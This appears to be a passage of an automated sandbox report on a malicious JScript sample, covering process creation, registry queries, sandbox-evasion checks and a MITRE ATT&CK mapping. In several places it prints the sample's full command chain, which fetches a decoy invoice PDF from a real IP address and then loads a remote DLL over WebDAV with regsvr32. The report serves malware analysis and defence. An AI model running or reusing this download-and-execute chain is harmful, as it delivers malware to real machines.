Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8204.js.csv");ITextStream.WriteLine(" entry:8365 f:jdxvlr");ITextStream.WriteLine(" exec:2 f:jdxvlr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49762

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4560			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5288			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep count: 4560 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep count: 5288 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7836	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8100	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1412646485.000001221C85C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1412095510.000001221C7F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2628514226.000002144AE54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1348383540.000002D716176000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000009.00000002.2626734597.000002144582B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW l

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
